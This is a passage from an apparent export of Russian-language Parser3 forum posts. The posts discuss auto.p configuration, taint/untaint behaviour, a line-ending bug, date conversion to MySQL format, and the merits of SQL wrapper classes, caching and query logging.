				$resHash.$row[^nodeToObject[$children.$keyID]]\
				}{\
				$resHash.[$children.$keyID.nodeName][^nodeToObject[$children.$keyID]]\
				}\
			}\
		}\
	$result[$resHash]\
	}\
[/code]"
"77026","а как оно там внутри будет реализовано сегодня или завтра (когда требования изменятся) -- дело десятое."
"77028","Очевидно, что ни имя узла, ни XPath не уникальны, а значит не походят в качестве ключей.\
Плюс нелучшая практика возвращать разные типы данных.\
\
Работайте с хэшем, ключи используйте суррогатные.\
Тем более, хэш возвращают методы XNode.\
\
Если хочется гибкости организуйте свой класс, как советует Миша, и необходимые методы выборок из данных, хранимых им."
"77029","Вот такой вот рут показывет: /home/XXX/public_html/rrr.ee\
И вот так вот стоит в auto.p, который в cgi-bin\
$confdir[/home/XXX/public_html/rrr.ee/cgi-bin]\
\
Что еще можно сделать? Как проверить считывается ли auto.p и как исправить если не считывается?"
"77030","Что мешает указать connect_string в cgi-bin/auto.p (в том auto.p, что должен лежать рядом с парсером), как оно и сделано в дистрибутивном auto.p?"
"77031","И вы не сказали в какой папке лежит auto.p, который у вас не считывается. Про то куда лучше написать connect-string написал MoKo."
"77032","Не работает. Та же ошибка."
"77033","Лежит там же где и index.html. Прописывание $connect_string в lheujv auto.p, который лежит рядом с персером, также выдает ту же ошибку."
"77034","Методы типа file::load[text;http://президент.рф/] не работают. В винде кириллические имена вообще не резолвятся. Хочется нативной конвертации в punycode, это возможно?\
\
Видится три варианта\
1. совсем нативно, т.е. чтобы парсер сам разобрался со строкой file::load[text;http://президент.рф/]\
2. добавить еще один taint, типа  file::load[text;http://^taint[punycode][президент.рф]/]\
3. можно в класс inet добавить метод конвертации"
"77035","Вероятно будет и нативная поддержка, и методы в inet."
"77036","Искал этот вариант"
"77037","... из cgi-bin. А еще, полную структуру папок на хостинге с указанием где лежат ваши скрипты и странички."
"77038","Вот такой вот он:\
\
[code]@conf[filespec][confdir;charsetsdir;sqldriversdir]\
\
#$confdir[^file:dirname[$filespec]]\
\
$confdir[/home/user_name/public_html/domain_name/cgi-bin]\
\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
$CHARSETS[\
	$.koi8-r[$charsetsdir/koi8-r.cfg]\
#	$.windows-1250[$charsetsdir/windows-1250.cfg]\
	$.windows-1251[$charsetsdir/windows-1251.cfg]\
#	$.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
\
#change your client libraries paths to those on your system\
$SQL[\
	$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
sqlite	$sqldriversdir/libparser3sqlite.so	sqlite3.so\
pgsql	$sqldriversdir/libparser3pgsql.so	libpq.so\
oracle	$sqldriversdir/libparser3oracle.so	/u01/app/oracle/product/8.1.5/lib/libclntsh.so?ORACLE_HOME=/u01/app/oracle/product/8.1.5&ORA_NLS33=/u01/app/oracle/product/8.1.5/ocommon/nls/admin/data\
}]\
]\
\
#for ^file::load[name;user-name] mime-type autodetection\
$MIME-TYPES[^table::create{ext	mime-type\
zip	application/zip\
doc	application/msword\
xls	application/vnd.ms-excel\
pdf	application/pdf\
ppt	application/powerpoint\
rtf	application/rtf\
gif	image/gif\
jpg	image/jpeg\
png	image/png\
tif	image/tiff\
html	text/html\
htm	text/html\
txt	text/plain\
mts	application/metastream\
mid	audio/midi\
midi	audio/midi\
mp3	audio/mpeg\
ram	audio/x-pn-realaudio\
rpm	audio/x-pn-realaudio-plugin\
ra	audio/x-realaudio\
wav	audio/x-wav\
au	audio/basic\
mpg	video/mpeg\
avi	video/x-msvideo\
mov	video/quicktime\
swf	application/x-shockwave-flash\
}]\
\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]	\
\
\
@fatal_error[title;subtitle;body]\
$response:status(500)\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
<html>\
<head><title>$title</title></head>\
<body>\
<h1>^if(def $subtitle){$subtitle;$title}</h1>\
$body\
#for [x] MSIE friendly\
^for[i](0;512/8){<!-- -->}\
</body>\
</html>\
\
\
@unhandled_exception_debug[exception;stack]\
^fatal_error[Unhandled Exception^if(def $exception.type){ ($exception.type)};$exception.source;\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.file){\
^untaint[html]{<tt>$exception.file^(${exception.lineno}:$exception.colno^)</tt>}\
}\
^if($stack){\
	<hr/>\
	<table>\
	^stack.menu{\
		<tr><td>$stack.name</td><td><tt>$stack.file^(${stack.lineno}:$stack.colno^)</tt></td></tr>\
	}\
	</table>\
}\
]\
\
\
@unhandled_exception_release[exception;stack]\
^fatal_error[Unhandled Exception;;\
\
<p>The server encountered an unhandled exception \
and was unable to complete your request.</p>\
<p>Please contact the server administrator, $env:SERVER_ADMIN\
and inform them of the time the error occurred, \
and anything you might have done that may have caused the error.</p>\
<p>More information about this error may be available in the Parser error log\
or in debug version of unhandled_exception.</p>\
\
]\
\
\
@unhandled_exception[exception;stack]\
#use debug version to see problem details\
^unhandled_exception_release[$exception;$stack]\
#^unhandled_exception_debug[$exception;$stack]\
\
\
\
@auto[]\
\
$connect_string[mysql://xxxx:123456@localhost/main_base?charset=cp1251]\
\
#source/client charsets\
$request:charset[utf-8]\
$response:charset[utf-8]\
\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
\
# mysql 3.xx & 4.0\
#$SQL.connect-string[mysql://user:pass@host/db?charset=cp1251_koi8]\
# mysql 4.1 and higher\
#$SQL.connect-string[sqlite://db]\
#$SQL.connect-string[pgsql://user:pass@host/db]\
#$SQL.connect-string[oracle://user:pass@service?NLS_LANG=RUSSIAN_AMERICA.CL8MSWIN1251&NLS_DATE_FORMAT=YYYY-MM-DD HH24:MI:SS]\
[/code]\
\
Парсер лежит тут:\
/home/user_name/public_html/domain_name/cgi-bin\
\
Странички лежат тут:\
/home/user_name/public_html/domain_name\
\
методы лежат тут:\
/home/user_name/public_html/domain_name/classes"
"77039","Скорее всего ошибка в вашем коде, возможно где-то переопределяется переменная.\
\
p.s. Проверить на считываемость файлов крайне просто: добавляйте поочередно throw в метод auto каждого и смотрите вываливается ошибка или нет."
"77040","Пользователь при регистрации на форме выбрал несколько вариантов  (checkbox).\
Посыдаю на сервре вот такую переменную:\
[code]$otrasl[^form:tables.otrasl.menu{$form:tables.otrasl.field}[,]][/code]\
Использую класс Авторизации Миши.\
Отправляю [code]^auth.insertUser[$form:fields;$otrasl][/code]\
Обрабатываем:\
[code]^oSql.void{INSERT INTO vizitka (\
		auser_id,\
		fname,\
		ooof,\
		otrasl_id,\
		region_id,\
		kont_name,\
		tel_faks,\
		adres,\
		site,\
		info\
	\
	) VALUES (\
		$last_id,\
		'$user_data.[auth.fname]',\
		'$user_data.[auth.ooof]',\
		'$otrasl',\
		'$user_data.[auth.region_id]',\
		'$user_data.[auth.kont_name]',\
		'$user_data.[auth.tel_faks]',\
		'$user_data.[auth.adres]',\
		'$user_data.[auth.site]',\
		'$user_data.[auth.info]'\
		\
	)\
\
	}[/code]\
Записываеться в поле только первое значение checkbox, т. е. \
если  $otrasl[2,5,7,12,16] то в БД будет только 2."
"77041","От сервера приходит два варианта [b]on[/b] или пусто.\
Т.е. ваша конструкция типа ^form:tables.otrasl.menu{$form:tables.otrasl.field}[,] Не даст ничего хорошего.\
По хорошему вам, надо каждому чекбоксу дать уникальное имя и на основе выбранных значений уже производить манипуляции.\
Можно конечно задать им всем одно имя и надеяться на порядок присланных данных..."
"77042","Я проверял, выводил эту конструкцию, в ней, всё как надо, 3,4,5,8, а в БД записывается только 3 первое значение...\
тут ведь объект input и у него есть value, а если не будет указано value, то получим в ответ ON или ПУСТО."
"77044","[quote]The value attribute is used differently for different input types:\
\
    For \"button\", \"reset\", and \"submit\" - it defines the text on the button\
    For \"text\", \"password\", and \"hidden\" - it defines the initial (default) value of the input field\
    For \"checkbox\", \"radio\", \"image\" - it defines the value associated with the input (this is also the value that is sent on submit)\
\
Note: The value attribute is required with <input type=\"checkbox\"> and <input type=\"radio\">.[/quote]\
\
http://www.w3schools.com/tags/att_input_value.asp"
"77045","Спасибо!!!\
Изначально планировалась, что у пользователя будет одна отрасль деятельности, но потом переиграли и решили один ко многим, а поле в БД забыли поменять там стоял int, всё спасибо всё записывается как надо...\
Как элегантно разбирать такую строку [b]2, 3, 6, 7[/b], когда извлекли её из БД???"
"77046","Но у вас классическая связь [url=\"http://oooportal.ru/?cat=article&id=1333\"]«многие ко многим»[/url], которую в реляционных СУБД эффективно делать через дополнительную таблицу (user_id, otrasl_id). Данные достаются простым и быстрым запросом. Получить можно табличку или хеш табличек для быстрых лукапов. Еще и появится возможность просто достать всех клиентов в конкретной области."
"77050","В некоторых проектах появился баг (?) с taint/untaint:\
\
Есть файл-шаблон template.shtml:\
<html>\
<body>\
 ^common:showtext[]\
</body>\
</html>\
\
Шаблон обрабатывается через ^process[]:\
$f[^file::load[text;template.shtml]]\
^process{^untaint[as-is]{$f.text}}\
\
Есть класс с процедурой вывода текста common.p: \
@showtext[]\
$result[^string:sql[...]]\
\
Суть бага - в шаблон перестаёт подставляться текст из @showtext - вместо текста выводится \"пробел\".\
\
Если в шаблоне template.shtml дописать untaint - текст начинает выводиться - вот так работает:\
<html>\
<body>\
^untaint[as-is]{^common:showtext[]}\
</body>\
</html>\
\
А если untaint сделать в процедуре - не работает: \
@showtext[]\
$result[^untaint[as-is]{^string:sql[...]}]\
\
Такое ощущение, что текст, возвращаемый процедурой помечается \"грязным\", и внутри процедуры это невозможно изменить - только вне.\
\
* Баг (?) наблюдается не во всех случаях: например, на сайте три колонки, одна выводится, две нет - процедура одинаковая."
"77051","[quote]Суть бага - в шаблон перестаёт подставляться текст из @showtext - вместо текста выводится \"пробел\".[/quote]\
\
Скорее всего проблема не в таинтах, а в том, что вам приходит из базы, т.е. надо проверять запросы. Простой тест, показывающий работоспособность таинтов при вашей схеме:\
\
[code]@main[]\
$code[\
^@m1[]\
  ^^m2[]\
^@m2[]\
  ^$result[^^untaint[as-is]{Чистые и ^^taint[html][<грязные>] и ^^taint[<очищенные>] данные}]\
]\
\
^process{$code}\
^m1[]\
[/code]\
\
Получаем, как и ожидалось:\
[code]\
Чистые и &lt;грязные&gt; и <очищенные> данные\
[/code]\
\
И вам тут нужен не untaint, а taint, поскольку все, что приходит от string:sql грязное, поэтому надо «покрасить» все сразу. В моем примере untaint оправдан именно потому, что в строке присутствуют куски с разной окраской.\
\
Часто программисты считают, что untaint — это обратная операция для taint, но это совсем не так. Taint и untaint делают одно и тоже, только в первом случае красится вся строка, а во втором только куски строки с неопределенной окраской (в примере это должно быть видно четко).\
\
p.s. Пожалуйста, не забываете про тег code, кода пишете сообщение в форум — без него читать код очень тяжело."
"77052","как из 13.06.2012 сделать 2012.06.13 с указанием текущего времени ?\
\
т.е. должно быть так\
например сегодня 28.06.2012 12:00:00\
\
я вписываю лишь дату в поле пишу 28.06.2012, а время не указываю.\
т.е. я должен дату взять из поля.. а время по компьютеру\
\
как это преобразовать к формату date_time в mysql\
\
чтобы вписалось '2012-06-12 12:00:00'\
время стаивится автоматом.. то которое сейчас на часах сервера"
"77053","[code]\
@main[]\
  ^convDate[25.06.2012]\
  ^convDate[lkjglksfdgfsd]\
\
@convDate[aDate]\
  $result[^date::now[]]\
  ^try{\
    ^aDate.match[^^(\\d+)\\.(\\d+).(\\d+).*^$][]{\
      $result[^date::create($match.3;$match.2;$match.1;$result.hour;$result.minute;$result.second)]\
    }\
  }{\
    $exception.handled(true)\
  }\
  $result[^result.sql-string[]]\
[/code]\
\
Если в форме нам пришлют что-то невалидное, то подставляем текущую дату.\
\
p.s. Написание этого кода заняло не больше времени, чем вы писали сообщение. Может стоило сразу писать код? :)"
"77054","— Нативные методы Парсера (connect, table:sql и т.п.).\
— Публичные SQL-классы ([url=http://www.parser.ru/examples/sql/]из примеров[/url] или [url=http://code.volchkov.net/parser3-pf/src/47d1dd96c0b0/sql]pf'а[/url]).\
— Написал свою обертку для доступа к БД (классы или методы).\
— Вызываю mysql -e statement через file::exec.\
\
Если не сложно, то напишите почему выбран тот или иной метод доступа. Чем руководствовались, что не нравится в других."
"77055","Больше всего похоже на это:\
\
\"Каждый метод должен будет или возвращать результат через $result во всех вариантах своего выполнения или не использовать $result вовсе.\"\
Но оно так с версии 3.4.0, да и добавление ^untaint не должно помогать.\
\
Еще вариант: в методе showtext несколько мест, где может возвращаться $result. Но в любом случае, у нас нет такого языка, который бы преобразовывал грязные данные в \"пробел\".\
\
Чтобы разобраться, нужен или bug.html или можете прислать мне архив сайта с базой или временно дать ssh доступ."
"77056","Спасибо — очень приятно, что у Вас есть желание помочь. \
\
В этом суть бага — если внутри метода @m2[] сделать $result[^untaint[...]] то всё равно возвращаются \"грязные\" данные, т.е. если в шаблоне написать \
\
^m2[] то ничего не выводится, \
\
а если \
\
^untaint[^m2[]] \
- то выводится. \
\
* а в версии 3.4.1 всё работает правильно."
"77057","В версии 3.4.1 всё работает. \
Я сделаю мини-сайт для демонстрации бага и пришлю. \
\
Спасибо за желание помочь!"
"77058","[quote]\
если внутри метода @m2[] сделать $result[^untaint[...]] то всё равно возвращаются \"грязные\" данные\
[/quote]\
\
У меня в примере сделан untaint в m2, а в m1 есть вызов m2 «из шаблона». Результат вывода я привел — там все правильно."
"77059","taint2.tmpl\
[code]\
<html>\
<body>\
^common:showtext[]\
</body>\
</html>\
[/code]\
\
taint2.p\
[code]\
#!./parser3\
@main[]\
  $f[^file::load[text;./taint2.tmpl]]\
  ^process{^taint[as-is][$f.text]}\
\
\
@CLASS\
common\
\
@showtext[]\
  $result[^untaint{Чистые и ^taint[html][<грязные>] и ^taint[<очищенные>] данные}]\
[/code]\
\
Результат работы:\
[code]\
<html>\
<body>\
Чистые и &lt;грязные&gt; и <очищенные> данные\
</body>\
</html>\
[/code]\
\
На мой взгляд проблема не с таинтами. Хотелось бы увидеть полный текст метода common:showtext, а не упрощенный кусок, который вы нам показали в первом сообщении."
"77060","Ребята! \
Начал готовить мини-сайт для демонстрации бага и обнаружил, когда он возникает. \
\
Есть объект и в нём переменная $MAIN:DATA.navmenu2\
Если строка заканчивается на переменную $MAIN:DATA.navmenu2 - она НЕ выводится (как-будто она пустая, или парсер её не нашёл). \
\
Стоит добавить после неё любой символ (например, пробел, или, как в примере ниже, слэш) - выводится. \
\
[code]\
<html>\
<body>\
\
<div>\
Не выводится:<br/>\
$MAIN:DATA.navmenu2\
</div>\
\
<div>\
Выводится:<br/>\
$MAIN:DATA.navmenu2/\
</div>\
\
</body>\
</html>\
[/code]\
\
Похоже, дело не в taint-ед данных, а в распознавании переменных?"
"77061","Проверил в других проектах - то же самое: добавляю пробел после названия переменной, стоящей в конце строки, и всё начинает работать."
"77063","Начал готовить тестовый сайт для демонстрации бага и точно установил, когда он появляется. \
\
Вы правы — похоже, что дело не в taint-ед данных, а в распознавании имён переменных. \
\
http://www.parser.ru/forum/?id=77060"
"77064","ОС Windows XP"
"77065","Вот такой код работает правильно (в обоих случаях выводится test):\
\
$MAIN:DATA[ $.navmenu2[test] ]\
Bad: $MAIN:DATA.navmenu2\
Ok: =$MAIN:DATA.navmenu2=\
\
Видимо у вас есть какая-то специфика (используется ^process? какие переносы строк?), так что нужен таки bug.html"
"77066","Сделал мини-сайт для демонстрации бага, ссылка для скачивания:\
\
https://disk.yandex.net/disk/public/?hash=Egr0mnLvNMvUhdgVFLSSRJqp3bkbj8ukUmEYkhQYUtA%3D&final=true\
\
Вкратце: \
\
.htaccess перенаправляет запрос на /parser/page.shtml\
\
она вызывает процедуру вывода шаблона @showtemplate из /parser/template.p\
\
на этапе загрузки в @auto создаётся объект класса router с  именем $DATA с переменной navmenu2. Эта переменная инициализируется в @auto[] класса router (router.p)\
\
В файле template2.shtml демонстрация, когда переменная $MAIN:DATA.navmenu2 не выводится и когда она выводится."
"77067","Нативные методы парсера. \
\
Причина выбора:\
- полный контроль над sql (можно оптимизировать),\
- удобно работать напрямую (лишнего кода минимум),"
"77068","Суть проблемы в том, что вы зачем-то текстовый файл грузите как бинарный.\
В новой версии в этом случае при последующем обращении к .text нормализации\
переносов строк не происходит (а у вас Windows переносы строк). Отсюда и проблема."
"77069","Ребята, спасибо! :) :) :) \
Оперативно, понятно, всё решили! \
Спасибо! :)"
"77071","- писать connect-ы лень\
- периодически нужна debug информация, которую быстрее и проще получить при использовании прослойки, чем средств sql.\
- приходилось код переносить с одного сервера на другой, т.е. и запросы стараюсь писать переносимые\
- часто нужно кэширование, которого нативные методы не имеют\
- классы из pf не пробовал (и даже не смотрел, хотя возможно зря)\
\
P.S. не верю я, что кто-то использует для этого вызовы file::exec."
"77072","хотя да, в этом случае добавляется промежуточный код."
"77074","Основные отличия:\
— Вместо метода server используется transaction (и алиас naturalTransaction), который позволяет удобно работать с транзакциями.\
— Помимо кеширования на диск через pfCache есть механизм хранения объектов в памяти (identity map), чтобы при повторных запросах не доставать из БД (в рамках одного запуска скрипта). Это нужно в сложных системах, когда трудно проконтролировать повторные вызовы методов доступа к базе.\
— Немного другой логер запросов.\
— Есть метод safeInsert, который реализует более-менее универсальный механизм, аналогичный insert on duplicate key update в мускуле."
"77075","Класс со статическими методами-обёртками для нативных методов с удобными для меня дефолтами по умолчанию.\
\
Методы для простой работы с транзакциями, очередями (это теперь надо на memcached переписать), опциональная отладочная инфа.\
\
Кеширование живёт отдельно, в sql ему делать нечего. Но с появлением memcached стоит ещё раз обдумать этот момент.\
\
Все sql-запросы формируются руками, ORM городить смысла не вижу, не гибко, лучше написать чистые параметризованные запросы для объектов в пользовательских классах.\
\
Класс заточен под PostgreSQL, переносимость на другие БД меня не волнует ровным счётом никак.\
\
\
pf прикольный, но \"муторный\", для меня много лишнего, а я за минимализм в коде (но это надо правильно понимать, т.к. DRY никто не отменял:-)"
"77076","Просто написана была тогда, когда еще не знал о других. В целом избавляет от connect и генерит всякую инфу в дебаг режиме (время запросов, explain всех выборок при обработке страницы и т.п.)"
"77077","Там ведь, наверное, нет никаких тайных данных проектов. :) Меня очень интересует постгресовская специфика: как начал писать orm, так сразу волосы дыбом встали от интерпретации стандартов SQL'я в разных СУБД."
"77078","Реализовано как у Миши только для медленных запросов или гоните для всех? Статистика записывается в файл или прямо на страничку выводите? Код очень секретный?"
"77079",", но там вообще нет никакой специфики, в частности для PG:-)\
Вся специфика лежит в sql-запросах или процедурах в самой БД.\
\
[code]Статические медоты-обёркти выглядят примерно так:\
@int[sql][result]\
^counter.inc[]   #счётчик запросов \
$result(^int:sql{$sql}[$.default(0)])\
\
@string[sql;params][result]\
^countrt.inc[]\
$result[^string:sql{$sql}[$params $.default[]]][/code]"
"77081","по поводу этого:\
[quote]\
@string[sql;params][result]\
...\
...[$params $.default[]]\
...\
[/quote]\
\
попробуй запустить такое:\
[code]\
@main[]\
$h[\
	$.a[1]\
]\
$dummy[^m[$h]]\
^h.foreach[k;v]{$k=$v}[, ]\
\
\
@m[h]\
$result[$h $.b[2]]\
[/code]\
\
:)"
"77083","Так параметры у вызовов моего класса ^sql:* всегда уникальны и используются один раз."
"77084","Для всех вида ^query.match[SELECT .*]. Для всех, а не только для медленных, потому что часто нужен explain запроса еще до того, как данных станет много и запрос станет медленным, самые очевидные случаи выявляются еще на стадии тестирования (пробежаться по запросам, посмотреть где All, где какие индексы и пр).\
\
В файл не пишу, неудобно. у объекта $sql[^mysql::create[$.debug(true)]] есть поле-хэш $sql.debug в который складывается вся инфа и его можно вывести на страницу если надо."
"77085","... что лучше копировать хеш.\
\
[code]\
вместо добавления в хеш params, \
который может быть использован где-то еще\
$p[$params $.default[]]\
\
лучше сделать копию:\
$p[^hash::create[$params] $.default[]]\
[/code]"
"77086","... а эксплейны делаю вручную, если время запроса смущает."
"77087","Нативные методы заменяет прослойка, Мишина или PF'ная, в случае его использования.\
\
Часть проектов имеет вручную написанные запросы в методах.\
[code]@getCompanies[]\
$result[^oSQL.table{…}][/code]\
\
Часть — некое подобие ORM'а, для объектной работы с базой.\
Уникальные запросы пишутся вручную, типовые используют конструкторы.\
Постепенно отказываюсь, тяжеловато.\
\
Часть — примитивный ORM, в рамках PF."
"77088","Ну это зависит от подхода. Можно ждать пока начнет тормозить, но по explain часто можно понять необходимость индексов до того, как это случится. И еще не всегда есть возможность _потом_ анализировать запросы (система передана заказчику и доступа к ней больше нет, например)"
"77089","Часто тормоза случаются из-за плохой структуры самой базы и плохой архитектуры кода... Но это совсем другая история. :)"
"77092","Все вызовы у меня выглядят примерно так:\
[code]^sql:int[\
	sql-код\
][\
	$.param[value]\
][/code]Т.е. модифицировать попросту нечего.\
\
А hash::create всё забываю через тесты на скорость прогнать, вдруг быстрее \"модифицикации\" окажется."
"77093","explain автоматом не запускается, есть только возможность увидеть сформированный sql-код.\
\
Все эти запросы смотрю на скорость и структуру вызовов через gui для БД, оптимизирую сразу что могу. А на живом проекте периодически исследую лог медленных запросов БД, она его пишет в файлик по единожды заданным параметрам в конфиге."
"77094","Хотя-бы тем, что можно поглядывать раз в месяц на предмет тормозов и стучать по голове виноватым. При этом на сам сайт можно и не заходить вообще (для этого посетители есть :)."
"77095","Сложилось так, что мое первое знакомство с парсером была доработка существующего проекта, а там требовалось добавить авторизацию/регистрацию. Был взят класс Миши ну и на его основе было все мое обучение и написание собственно класса, ну а дальше по привычке.\
По поводу переносимости запросов не сильно волнуюсь.\
\
Все запросы пишу сам, предпочитаю контроль в этом отношении.\
\
Хотя последнее время хочу портировать свои наработки на пхп, только из-за того, что у самого времени на их развитие мало, а найти помощников для пхп все таки реально легче."
"77096","... а на приложения я хожу регулярно, потому что они на деньги завязаны. А логи медленных запросов, как мне кажется, удобнее делать базой — они несколько точнее и информативнее."
"77097","Случаи бывают разные. Можно например на странице сделать 1000 быстрых запросов. Логгинг базы данных это не заметит. Опять же, по логу базы не поймешь, на какой конкретно странице проблемы... Логи базы у нас тоже включены, но туда попадают совсем уж медленные запросы."
"77098","просто в public классе так делать нельзя. мало-ли кто и как захочет передать параметры и что захочет с исходными параметрами делать потом."
"77099","осторожнее с explain-ами.\
\
например я достаточно регулярно использую запросы с SQL_CALC_FOUND_ROWS и последующим FOUND_ROWS() (да, это mysql специфика).\
между ними НЕЛЬЗЯ делать других запросов (даже explain), иначе FOUND_ROWS() не вернёт ничего (хотя в текущей версии может уже и можно? я давно проверял).\
\
т.е. у меня при $.debug(1) тексты запросов складываются во внутреннюю переменную и в самом конце (когда вызываю print или log делаются все explain в том-же порядке, в каком делались исходные запросы).\
\
а куда выводить, в лог или на страницу -- дело десятое. у меня можно и туда и туда выводить."
"77100","на frontend-е, в модулях для imp1 это делать настоятельно рекомендуется (хотя делают не все). причина проста: \"если что\" -- дебажить удобно.\
в административном интерфейсе без разницы."
"77101","кэширование объектов в памяти фича безусловно полезная, и я сам её постоянно использую (Cached.p в Lib.zip). \
\
но вот внедрять её в sql классы не хочу.\
причины:\
- идея кэшировать в памяти [b]всё[/b] (даже с использованием глобальной опции) мне не нравится. например? я сам несколько раз лажал и у меня делалась куча однотипных запросов. находил это благодаря логу запросов. если обращения к кэшированным результатам памяти не логировать, то я бы такое не нашёл. если логировать -- то в логе будет куча ненужной информации, которая не будет позволять видеть нужную.\
- подобное кэширование бывает нужно в очень ограниченном количестве мест. вот там я это и использую. с помощью небольшого, но отдельного механизма.\
\
P.S. а \"server\" устарел, да. переименовать надо, согласен."
"77102","... но это уже разговор для отдельной темы. :)\
\
У меня очень развесистые модели (десятки классов, сотни методов, lazy load и т.д.) и делать отдельные коллекции, протягивать их по иерархии, писать вручную код кеширования в методы было крайне неудобно, поэтому я перенес ее в sql-класс. Поскольку это очень опасная возможность (делать качественную инвалидацию кеша на Парсере очень дорого), то она по-умолчанию выключена.\
\
[quote]у меня делалась куча однотипных запросов[/quote]\
\
Кешируются только одинаковые запросы, поэтому с однотипными проблем не будет — они и так будут в логе. Что касается хитов в кеш, то они у меня считаются только глобально — надо будет добавить хиты для отдельных запросов, что позволит проще выявлять повторы.\
\
p.s. Я не предлагаю тебе вставлять эту возможность в свои классы — пусть будет несколько реализаций с разными свойствами. :)"
"77103","... а не пытаемся придумать «идеальное решение», которого не бывает. :)))"
"77105","[Сейчас будет длинный флеймовый пост. :)]\
\
В этой теме уже несколько раз всплывала идея, что использование низкоуровневых средств дает больший контроль. На мой взгляд это неверная посылка. При работе с данными есть два аспекта: интерфейс доступа к СУБД (то, что мы обсуждаем в этой теме) и \
формирование sql-запросов — «контроль», для каждого из них, имеет разный смысл.\
 \
Для доступа к СУБД в Парсере реализован универсальный механизм, который позволяет однообразно реализовать и кешировать соединение с серверами (через драйверы и оператор connect), реализует единый интерфейс для запросов и автоматизирует сериализацию выборок в базовые объекты (string, int, hash, table), а система «грязных данных» обеспечивают защиту от всяческих инъекций. Интерфейс очень удобный, но дает ли он нам тот самый «контроль»? Не дает. Мы не можем базовыми средствами получить информацию о том какие запросы и в каком порядке выполнялись, сколько на них потрачено времени и памяти, какой объект был возвращен. Необходимо следить самостоятельно обернут ли код, делающий запросы в connect: стандартное решение «обернуть весь код страницы в connect» не подходит, если нам не для каждого обращения к странице нужно лезть в базу данных (хотим взять данные из кеша или страничка с ошибкой). Реализация транзакций требует много «лишнего» кода: надо не забыть отключить auto_commit в mysql сделать begin, а потом commit, автоматический ролбэк у парсера есть, но он срабатывает на закрывающей скобке конекта, т.е. надо дополнительно заворачивать код в connect (а он еще и будет вложенным!) и т.д. Оператор cache не умеет кешировать данные и надо вручную возиться с сериализацией данных и сохранением их на диск. А если нам надо глобально отключить кеш для запросов? \
\
Иными словами, при работе с данными есть много вещей, которые низкоуровневый интерфейс не позволяет сделать и ни о каком контроле. Все эти проблемы легко решаются, если завернуть работу с данными в отдельный класс, который реализует логирование, автоматические коннекты, возню с транзакциями, кеширование и пр. Разница в скорости работы и ресурсах между прокладкой и прямыми вызовами методов незначительная и на производительности кода никак не сказывается (я замерял :).\
\
Второй аспект — формирование sql-запросов. Классы доступа к БД дают абсолютно такой же контроль над запросами, что и нативные методы, поскольку никак не влияют на сами запросы и являются только прокладкой к базовым методам языка. Они несколько облегчают написание переносимых запросов (современный субд, даже при заявленной поддержке стандартов, отличаются в деталях реализации сиквела) за счет наличия функций-генераторов для дат, строк и некоторых других функций. Никто не мешает писать в запросах  многоуровневые джоины, подзапросы и т.п. Синтаксис Парсера позволяет нам делать очень сложные шаблоны запросов без всяких плейсхолдеров за счет своего синтаксиса. Это очень большой плюс, но минус в том, что хотелось бы видеть что за запрос мы отправляем на сервер, а тут без логирования уже тяжело и без классов это придется делать вручную в коде. Про профилирование запросов уже писал раньше — без него написать систему без проблем с производительностью можно только чудом. Разве это контроль? Нет — это средство внести в код большое количество ошибок не решив основной проблемы. :)\
\
Но даже использование sql-классов не дает нам контроля за слоем доступа к данным (модели). Думаю многие замечали, что подавляющее большинство запросов, которые мы пишем в своем коде, это простейшие CRUD-операции (create, read, update, delete). Они повторяются из проекта в проект, никаких тайных знаний не содержат, одним словом — рутина. Много времени тратится на отладку: то имя поля в базе перепутаем, то параметр метода называется не так, как мы рассчитывали, то надо не забыть всякие автоматические поля обновлять (created_at, updated_at). Возни много, толку мало. Помочь в данном случае могут всяческие автоматические генераторы sql'я, ORM's и пр. Но это уже совсем другая история... :)"
"77106","Как раз только select, у меня 99% работы сайта только чтение. По этому пока не затронул работу с транзакциями не ощутил весь этот геморой. Иногда использовал кэширование на уровне класса Михаила, а иногда встроенным классом парсера, зависимости от задачи.\
\
Насчет ORM я понимаю все его плюсы, но вот насколько медленнее он будет работать? Получается использование ORM сокращает время разработки, но увеличивает время формирование запросы при реальной работе.\
\
Встроенный механизм парсера с грязными данными, просто киллер фича. А на ORM как раз и возлагается эта защита.\
\
К тому же ориентация на разные БД ограничивает нас в использование каких-то моментов, которые реализованы только в какой-то БД. Какой смысл тогда вообще использовать разные БД если все сведется к генерации простейших SELECT, которые будут в формате стандарта.\
\
Например в постгрессе есть частичные индексы, чем могут очень сильно облегчить работу с лишними проверками.\
\
Другие БД умеют строить деревья сами, что облегчает построение вложенности какой либо структуры в самом коде. \
\
Зачем же лишать себя таких вкусностей? \
\
Насколько я понимаю у Михаила пару раз возник вопрос в переносе БД из одной системы в другую, но мы не знаем подробностей и причин.\
\
Мое мнение что надо сразу выбрать то с чем будем работать, а в случае переезда править запросы. Не так часто эти переезды и бывают.\
\
А обертка все таки нужна, она реально помогает в плане использования коннекта к БД, кэширования, логирования (хотя я во время разработки просто допускаю ошибку в SQL, чтобы словить exception и посмотреть запрос целиком). Но вот насколько она должна быть универсальная это вопрос."
"77107","Список изменений описан в [URL=/news/]новостях[/URL] (полный ChangeLog доступен в [URL=http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/ChangeLog?view=markup]cvs[/URL]).\
\
Обновлены документации, sql драйвера, xml библиотеки (для win32 версии они в отдельном архиве), конфигурационный файл (добавлены все кодировки в таблицу кодировок, подправлена таблица $MIME-TYPES)\
\
По сравнению с RC изменений фактически нет."
"77108","max_rip, я написал текст по следам всего топика, а не в ответ на ваше сообщение. :)\
\
[quote]Насчет ORM я понимаю все его плюсы... Получается использование ORM сокращает время разработки... Встроенный механизм парсера с грязными данными, просто киллер фича. А на ORM как раз и возлагается эта защита.[/quote]\
\
Основная задача ORM'а — связать объекты в программе с табличками в базе данных. Защита — это второй вопрос, который для Парсера менее актуален, чем для других языков, поэтому мы можем делать механизм защиты сильно проще.\
\
[quote]Как раз только select, у меня 99% работы сайта только чтение.[/quote]\
\
